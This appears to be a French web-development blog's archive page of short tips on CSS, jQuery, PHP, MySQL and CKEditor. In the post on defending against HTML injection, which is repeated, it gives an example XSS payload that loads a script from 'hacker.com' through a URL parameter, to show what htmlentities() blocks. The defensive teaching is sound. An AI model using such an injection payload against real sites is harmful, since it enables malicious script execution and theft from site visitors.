Entrées par t@ra

Une bordure en pointillés en CSS3 – Effet couture.

Une association entre les propriétés border:dashed, qui dessinent les bordures en pointillés et box-shadow avec une couleur identique à celle du background, permet d'obtenir un effet intéressant en faisant apparaitre une marge à l'extérieur de la bordure du div. Code HTML : <div id="bord_pointille"></div> Code CSS : #bord_pointille{ width:100px; height:100px; background:#bfd70e; border:dashed 3px #679403; border-radius:5px; […]

Fonction Javascript pour récupérer la valeur d’un cookie

La fonction javascipt suivante renvoit la valeur du cookie dont le nom est passé en paramètre.Un cookie permet de stocker des variables propres à votre site sur la machine de l’internaute. Concrétement c’est un fichier texte qui contient le nom du cookie, sa valeur et sa date d’expiration. Il est stocké dans un répertoire associé au navigateur […]

Un effet de changement de couleur fluide en CSS3

Rendre le changement de couleur  sur le survol de la souris plus fluide grâce à CSS3 et à la propriété transition : Survolez pour tester la modification de couleur avec CSS3 code HTML : <span id="hover_color"> Tester ici !!! </span> code CSS : #hover_color{   font-weight:bold;   font-size:22px;   color : #f69b00;   cursor:pointer;   […]

Une fonction file_put_contents pour PHP4

file_put_contents() est une fonction PHP bien pratique pour écrire du contenu dans un fichier. Dans l’exemple ci-dessous, elle est utilisée pour insérer la phrase « Salut‘ dans le fichier monfichier.txt ce dernier étant placé dans le répertoire du fichier d’appel (le fichier qui contient l’appel à la fonction)Important : si monfichier.txt n’existe pas il sera créé Pour en savoir […]

Retrouver la valeur des variables d’URL après un rewriteRule sous WordPress

Si l'on utilise la réécriture d'URL de WordPress (les permalinks) il n'est plus possible de récupérer dans notre template la valeur des variables d'URL par la méthode $macategorie=$_GET['cat'] par exemple ici pour les catégories. On peut néanmoins accéder à la valeur de la catégorie par : $categories = get_the_category(); $macategorie = $categories [0]->cat_ID Autre problème, […]

Faire une redirection en javascript

La redirection d’une page internet, est le basculement automatique d’une adresse URL vers une autre adresse URL. Si une page a changé d’adresse, par exemple, il est important que lorsque l’internaute la cherche à l’ancienne adresse, il puisse être redirigé automatiquement sur la nouvelle. Il existe plusieurs techniques de redirection, notamment à l’aide du fichier .htacces, […]

Supprimer les paramètres d’URL de l’URL courante

Cette fonction PHP retourne l’URL de la page courante en la nettoyant de tous ses paramètres d’URL. En utilisant la fonction PHP explode() on sépare le début de l’URL de la partie suivant le « ? ». Si l’URL courante est : http://www.monsite.fr?page=2 la fonction renverra : http://www.monsite.fr

Les transitions en CSS3 : rotation d’un élément – rotate()

Ou : Comment je fais tourner le logo Memo Web (voir en-ttête de ce site) sur le passage de la souris. J'utilise, pour faire tourner un élément sur lui même en CSS, la propriétés CSS3 transition : transform, qui ne fontionne que sur les navigateurs modernes (il existe des différences dans les prises en charge entre les différents […]

not(expr) Element d’exclusion en Jquery

not(expr) va nous permettre d’exclure une classe d’élément parmis les éléments sélectionnés dans une expression. Ici, on affecte un background à tous les éléments de classe « maclassegenerale » et qui n’ont pas la classe « maclasseaexclure » Code HTML : Code Javascript : L’image de background ne va être affectée qu’aux éléments « mon1 » et « mon3 »

not(expr) Element d’exclusion en Jquery

not(expr) va nous permettre d'exclure une classe d'élément parmis les éléments sélectionnés dans une expression. Ici, on affecte un background à tous les éléments de classe "maclassegenerale" et qui n'ont pas la classe "maclasseaexclure" Code HTML : <div class="maclassegenerale "> mon 1</div> <div class="maclassegenerale maclasseaexclure"> mon 2</div> <div class="maclassegenerale"> mon 3</div> <div class="maclassegenerale maclasseaexclure"> mon […]

Comment rajouter un séparateur entre les items d’une liste

On peut ajouter un séparateur vertical (ici rouge et de 2px) qui va dinstinguer les différents éléments d'une liste HTML <li> </li> en utilisant la propriété border-left sur tous les items li de la liste, sauf le premier li { border-left: 2 px solid red; } li:first-child { border-left: none; } Une autre méthode consiste à […]

Comment faire des opérations avec les attributs de style exprimés en px

Pour faire des opérations en javascript avec des mesures exprimées en px comme $(« #monDiv1 »).css(‘height’) qui vaut ‘500px‘ et $(« #monDiv2_tutos »).css(‘marginTop’) qui vaut ‘200px‘ Utilisons la fonction parseInt qui va supprimer l’attribut ‘px’ de la valeur et nous permettre de faire toutes les opérations que l’on veut en utilisant les attributs de style longeur ou hauteur de nos éléments. […]

Bug sur le plugin mediaembed de CkEditor

Attention, le plugin MediaEmbed qui permet de rajouter du code vidéo, récupéré de Youtube ou Vimeo, par l'intermidiaire de la barre à outil de ckeditor est un peu buggé. Ci dessous le code complet, en rouge le paramètre manquant. /* * @example An iframe-based dialog with custom button handling logics. */ ( function() { CKEDITOR.plugins.add( […]

Centrer une image horizontalement

Centrer une image horizontalement: 2 options s'offrent à nous : Appliquer au div conteneur de l'image la propriété CSS text-align: center; Ou appliquer à l'image,qui est naturellement de type inline, les propriétés display:block; et margin:auto;

lecture seule d’un textarea en JQuery

Voici différentes méthodes pour rendre impossible l'écriture dans un textarea: Déclaration du textarea en HTML : <textarea class="elementtextarea"></textarea> Rendre le textarea non editable  en affectant l'attribut readonly en JQuery  : $(".elementtextarea").attr('readonly','readonly'); Rendre le textarea non editable  en affectant l'attribut disabled en JQuery  : $(".elementtextarea").prop("disabled", true); //(valable depuis jquery 1.6 !!) équivalent de ​$(".elementtextarea").attr("disabled", "disabled");// évenement […]

Aligner verticalement du texte avec une image

C'est tout bête mais j'avoue avoir souvent perdu du temps avec des margin ou padding inutiles. Pour aligner du texte html verticalement avec une image, il suffit d'utiliser la propriété de style HTML vertical-align Aligner le texte avec vertical-align <img src="monimage.jpg" alt="" style="vertical-align:middle" /> Mon texte ici … Aligner le texte avec align <img src="monimage.jpg" alt="" […]

Empêcher le clic droit sur les images de votre site

Voici un petit code javascript pour empêcher l’utilisateur de pouvoir utiliser le clic droit sur les images de votre site. Ne vous leurrez pas, il y a d’autre moyens pour l’internaute de récupérer vos images, mais cela peut quand même décourager les moins motivés. Appelez cette fonction depuis le « onload » du body :

La superglobale $_SERVER et ses utilisations

Petit memo d’utilisation de la superglobale $_SERVER.Cette super-globale est un tableau présentant des informations envoyées par le serveur Web de votre site. C’est l’équivalent de la méthode dépréciée $HTTP_SERVER_VARS $_SERVER[« PHP_SELF »]  Contient  Le nom du fichier du script en cours d’exécution$_SERVER[« SCRIPT_NAME »]  Contient le nom du script courant$_SERVER[« DOCUMENT_ROOT »]  Contient  la racine du serveur$_SERVER[« HTTP_REFERER »]  Contient L’URI qui a été fourni pour […]

$(« #calendar »).fullCalendar is not a function

Erreur sur le plugin FullCalendar de JQuery qui permet de gérer un Calendrier.  Firebug me renvoie le message d'erreur suivant : $("#calendar").fullCalendar is not a function Lorsque j'essaie de mettre en place le plugin … Résolution du bug : Après quelques cheveux arrachés je découvre un double appel à la bibliothèque JQuery dans ma page … source […]

Espaces parasites rajoutés lors d’un envoi de mail

Des envois de mails sous OVH laissent apparaitre, parfois, de façon aléatoire, des espaces non désirés qui coupent les mots. Embêtant … surtout lorsque le mot coupé est « &nb sp; » ou « < td> » J’ai lu dans un forum que le problème pouvait être réglé en forçant régulièrement des retours à la ligne. La mise en […]

Ajout de @ devant @mysql_connect

L'ajout du caractère arobase @ devant @mysql_connect, permet de ne pas afficher les éventuelles erreurs Mysql lors de l'affichage d'une page. L'affichage de ces erreurs étant utile pour le debuggage, mais pas forcément pertinente en production, on peut configurer error_reporting dans le fichier php.ini du serveur de production afin qu'il n'affiche pas ces erreurs en […]

La feinte de l’underscore dans un fichier CSS sous IE

La position fixed n’étant pas prise en compte sous ma version de IE (apparemement ca n’est pas un cas général), j’utilise alors le underscore hack sous IE qui consiste a précéder une propriété CSS par un underscore ‘_’ , il n’y aura alors que IE pour comprendre la propriété, les autres navigateurs l’ignoreront. C’est pas […]

Replace() ou Remplacer une chaîne de caractères par une autre en Javascript

En javascript la fonction replace permet de remplacer une chaîne de caractère par une autre (remplacer un mot par un autre mot dans une phrase par exemple) replace (chaîne à remplacer, chaîne de remplacement) Fonction replace javascript simple  Par contre cette fonction ne remplacera qu’une instance de la chaîne à remplacer. Fonction replace javascript pour remplacer toutes les […]

Générer un fichier CSS en PHP

Le problème avec les fichiers CSS, ce sont leur rigidité, impossible d'utiliser des variables parametrables pour les couleurs par exemple, tout est gravé dans le marbre. Pour contourner ce problème, on peut générer à la volée un fichier CSS en PHP.L'avantage de cette méthode est de permettre l'utilisation de variables PHP qui contiendront les codes couleur, […]

Protection contre les injections HTML XCSS

La fonction htmlentities() permet de protéger l’affichage de données dont on n’est pas sûr de l’origine en rendant toutes les balises XHTML inopérentes. Exemple: http://www.monsite.com?monpseudo=<strong>Justine</strong><script src= »http://hacker.com/injection.js » > En gros, cette fonction va remplacer < par &lt; ou > par &gt; à l’affichage, rendant caduque toute tentative malveillante d’injection HTML (ou javascript). A l’affichage , dans l’exemple précédent, […]

Protection contre les injections HTML XCSS

La fonction htmlentities() permet de protéger l'affichage de données dont on n'est pas sûr de l'origine en rendant toutes les balises XHTML inopérentes. Exemple: http://www.monsite.com?monpseudo=<strong>Justine</strong><script src="http://hacker.com/injection.js" > <?php echo "Salut ".htmlentities($_GET['monpseudo']); ?> En gros, cette fonction va remplacer < par &lt; ou > par &gt; à l'affichage, rendant caduque toute tentative malveillante d'injection HTML (ou […]

Fonction de parcours des variables de formulaire

Cette fonction permet de récupérer les valeurs des variables passées dans un formulaire, dans un variable PHP du même nom. Cela m’a été utile lors du passage de PHP4 à PHP5. La fonction boucle sur toutes les variables passées en POST, et crée des variables PHP du même nom.

Exemple d’utilisation de la fonction COUNT()

Soient deux tables table_tuto avec les champs "id" et "titre" table_tuto_click avec les champs "id" "id_tuto" et "date_click" qui contient un enregistrement par click sur un tuto. La fonction count() dans la requête SQL suivante va me permettre de savoir combien de fois chaque tuto a été cliqué depuis le 1 janvier 2011 SELECT tt.titre, […]

Parcourir valeurs possibles d’un type ENUM en PHP

Fonction PHP permettant de parcourir tous items du champs "monchamps" de type ENUM (énuméré) de la table "matable" fonction ListeDesEnumeres(){ $result = mysql_query("SHOW COLUMNS FROM matable LIKE 'monchamps'");   while(list($field,$type,$null,$key,$default,$extra) = mysql_fetch_row($result)){      list($junk,$type) = explode('(',$type);     list($type) = explode(')',$type);   $type = str_replace("'",'',$type);   $types = explode(',',$type);   }     mysql_free_result($result);     unset($type);   //foreach($types as $type) echo $type;     […]

Disfonctionnement de WAMP à l’ouverture d’une page php

Tout d'un coup, lorsque j'ouvre une page d'un site hébergé en localhost, le navigateur Firefox me renvoir une fenêtre popup avec le message : Vous avez choisi d'ouvrir mon-fichier.php qui est un fichier de type : application/x-httpd-php à partir de http://localhost Que doit faire Firefox avec ce fichier ? Après quelques heures de recherche je […]

Dessiner un triangle avec CSS3

Ci dessous un exemple de triangles haut et bas dessinés sans image, uniquement en utilisant les feuilles de style CSS et la propriété "border" sur un élément div     Les styles CSS suivants ont été appliqués à deux DIV de class "triangehaut" et "trianglebas" pour dessiner les triangles. Styles CSS pour dessiner des triangles  .trianglehaut{ border-color: transparent […]

Erreur javascript « w is undefined »

Si vous souffrez d'une erreur javascript "w is undefined" lors de l'utilisation de ckeditor, vérifiez l'intégrité du code de déclaration : CKEDITOR.replace('description',{ uiColor : '#be0930', width : '750px', height : '400px' }); Une erreur dans les paramètres de configuration pourra avoir généré ce message d'erreur

Ajouter des styles dans la barre d’outils de ckeditor

Pour rajouter des styles dans la barre des outils ckeditor, ajouter dans le fichier default.js situé à la racine du répertoire ckeditor : CKEDITOR.stylesSet.add( 'my_styles', [ // Block-level styles { name : 'Blue Title', element : 'h2', styles : { 'color' : 'Blue' } }, { name : 'Red Title' , element : 'h3', styles […]

Format e-mail et téléphone portable

Fonctions utiles utilisant les expressions régulières regExp pour vérifier qu’une chaîne est au format adresse email ou téléphone portable : Fonction de vérification de validité d’un email en javascript Fonction de vérification de la validité d’un téléphone portable en javascript

Savoir si une variable est définie en javascript

En javascript, il n’existe pas d’équivalent de la fonction isset en php pour déterminter si une variable a été définie préalablement.On peut savoir si une variable existe en javascript avec l’opérateur typeof () qui renvoit « undefined », si la variable passée en paramètre existe:

Formater une chaine en URL

Fonction qui permet de faire de générer des chaînes conformes aux URLs en formatant par exemple le titre d’une page sous format URL, soit sous forme de caractères alphanumériques et tirets uniquement. On utilise d’abord la fonction de suppression des accents dans une chaine <?php function SupprimeLesAccents($mot){     return strtr( $mot, « ÀÁÂÃÄÅàáâãäåÒÓÔÕÖØòóôõöøÈÉÊËèéêëÇçÌÍÎÏìíîïÙÚÛÜùúûüÿÑñ », « AAAAAAaaaaaaOOOOOOooooooEEEEeeeeCcIIIIiiiiUUUUuuuuyNn » ); } […]

Division en PHP – Partie entière

L’opérateur de division en PHP est le « / » $a / $b Pour obtenir la partie entière d’une division en php, il faut transcrypter le résultat de la division en entier. Pour imposer le type d’une variable, le nom du type désiré est écrit entre parenthèses avant la variable à traiter. exemple : (bool)$mavariable ou (float)$mavariable […]

Atteindre une ancre avec JQuery

Une ancre dans une page HTML est un point de repère dans la page vers lequel on va faire un lien afin que le haut de la fenêtre du navigateur se positionne directement sur ce point (au lieu d’avoir à scroller à la main pour y parvenir). Très pratique pour les pages avec beaucoup de […]

Problème(ou pas):JQuery ferme automatiquement les balises HTML

Selon la logique de codage que l’on souhaite utiliser, ça peut être très embêtant : Si l’on ajoute des balises HTML dans le DOM, ici un paragraphe,  grâce à JQuery : Dans l’idée de remplir ensuite dynamiquement le paragraphe avant de le refermer, et bien JQuery prend l’initiative de refermer le paragraphe en injectant la […]

Sélecteurs RegExp et JQuery

Un article lourd de promesses sur l’utilisation des expressions régulières dans JQuery moyennant l’ajout du plugin suivant : Exemple d’utilisation : séléctionne tous les éléments dont l’id commence par une voyelle Lire l’article car je n’ai pas encore étudié cette fonctionnalité de près :

Détecter lorsqu’on appuie sur la touche entrée en JQuery

Voici une fonction qui affiche une alerte lorsque l'utilisateur appuie sur la touche entrée dans un input. J'utilise l'événement keyup() de JQuery qui se déclenche lorsqu'une touche est relâchée. Code HTML : <input type="text" id="titre"> Code JQuery : $('#titre').keyup(function(e) { if(e.keyCode == 13) { // KeyCode de la touche entrée alert('Hey ! Tu as appuyé […]

Date courante dans une requête Mysql

Voici les fonctions utiles pour utiliser la date courante dans une requête Mysql : Date courante MySQL, fonction CURDATE() : La fonction CURDATE() renvoie la date du jour sous le format 'YYYY-MM-DD' Date et heure courante MySQL, fonction NOW() : Les fonctions CURRENT_TIMESTAMP() et NOW() renvoient en plus l'heure courante Exemple :  Sélection dans la […]

Problème de changement d’opacité d’image avec transparence sous … IE

Il semblerait que IE<9 gère mal le changement d'opacité animé sous JQuery d'une image à fond transparent , tel que : $("#monimage").animate({opacity:1},600); Le symptôme est l'apparition d'un fond noirâtre du plus mauvais effet durant l'animation. Pas trouvé de remède au mal, à part le patch salvateur quoi que sectaire  (en utilisant la propriété JQuery de […]